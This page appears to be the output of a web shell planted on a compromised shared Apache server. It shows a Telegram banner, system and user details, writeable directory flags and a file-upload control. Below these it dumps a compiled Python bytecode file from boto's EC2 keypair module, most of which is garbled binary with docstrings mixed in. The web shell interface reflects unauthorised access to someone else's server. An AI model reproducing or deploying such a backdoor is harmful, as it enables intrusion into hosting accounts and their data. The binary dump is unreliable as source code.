https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/boto/ec2/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/boto/ec2/__pycache__/keypair.cpython-310.pyc
o

ckF[��@s8dZddlZddlmZddlmZGdd�de�ZdS)z
Represents an EC2 Keypair
�N)�	EC2Object)�BotoClientErrorcsJeZdZd�fdd�	Zdd�Zdd�Zdd	d
�Zdd�Zdd
d�Z�Z	S)�KeyPairNcs&tt|��|�d|_d|_d|_dS�N)�superr�__init__�name�fingerprint�material)�self�
connection��	__class__��2/usr/lib/python3/dist-packages/boto/ec2/keypair.pyr!s
zKeyPair.__init__cCs
d|jS)Nz
KeyPair:%s)r)rrrr�__repr__'s
zKeyPair.__repr__cCsF|dkr	||_dS|dkr||_dS|dkr||_dSt|||�dS)N�keyName�keyFingerprint�keyMaterial)rr	r
�setattr)rr�valuerrrr�
endElement*s


zKeyPair.endElementFcCs|jj|j|d�S)zq
        Delete the KeyPair.

        :rtype: bool
        :return: True if successful, otherwise False.
        ��dry_run)r�delete_key_pairr)rrrrr�delete4szKeyPair.deletecCst|jr6tj�|�}tj�|d|j�}tj�|�rtd|��t|d�}|�	|j�|�
�t�|d�dStd��)a
        Save the material (the unencrypted PEM encoded RSA private key)
        of a newly created KeyPair to a local file.

        :type directory_path: string
        :param directory_path: The fully qualified path to the directory
                               in which the keypair will be saved.  The
                               keypair file will be named using the name
                               of the keypair as the base name and .pem
                               for the file extension.  If a file of that
                               name already exists in the directory, an
                               exception will be raised and the old file
                               will not be overwritten.

        :rtype: bool
        :return: True if successful.
        z%s.pemz-%s already exists, it will not be overwritten�wbi�TzKeyPair contains no material)r
�os�path�
expanduser�joinr�existsr�open�write�close�chmod)r�directory_path�	file_path�fprrr�save=s
zKeyPair.savecCsB|j|jkr
td��|j��}|jdi|��}|j|j|d�}|S)a 
        Create a new key pair of the same new in another region.
        Note that the new key pair will use a different ssh
        cert than the this key pair.  After doing the copy,
        you will need to save the material associated with the
        new key pair (use the save method) to a local file.

        :type region: :class:`boto.ec2.regioninfo.RegionInfo`
        :param region: The region to which this security group will be copied.

        :rtype: :class:`boto.ec2.keypair.KeyPair`
        :return: The new key pair
        z!Unable to copy to the same RegionrNr)r�regionrr�
get_params�connect�create_key_pair)rr*r�conn_params�rconn�kprrr�copy_to_region\s
zKeyPair.copy_to_regionr)F)
�__name__�
__module__�__qualname__rrrrr)r1�
__classcell__rrr
rrs

	r)�__doc__r�boto.ec2.ec2objectr�boto.exceptionrrrrrr�<module>s


https://t.me/RX1948 - 2025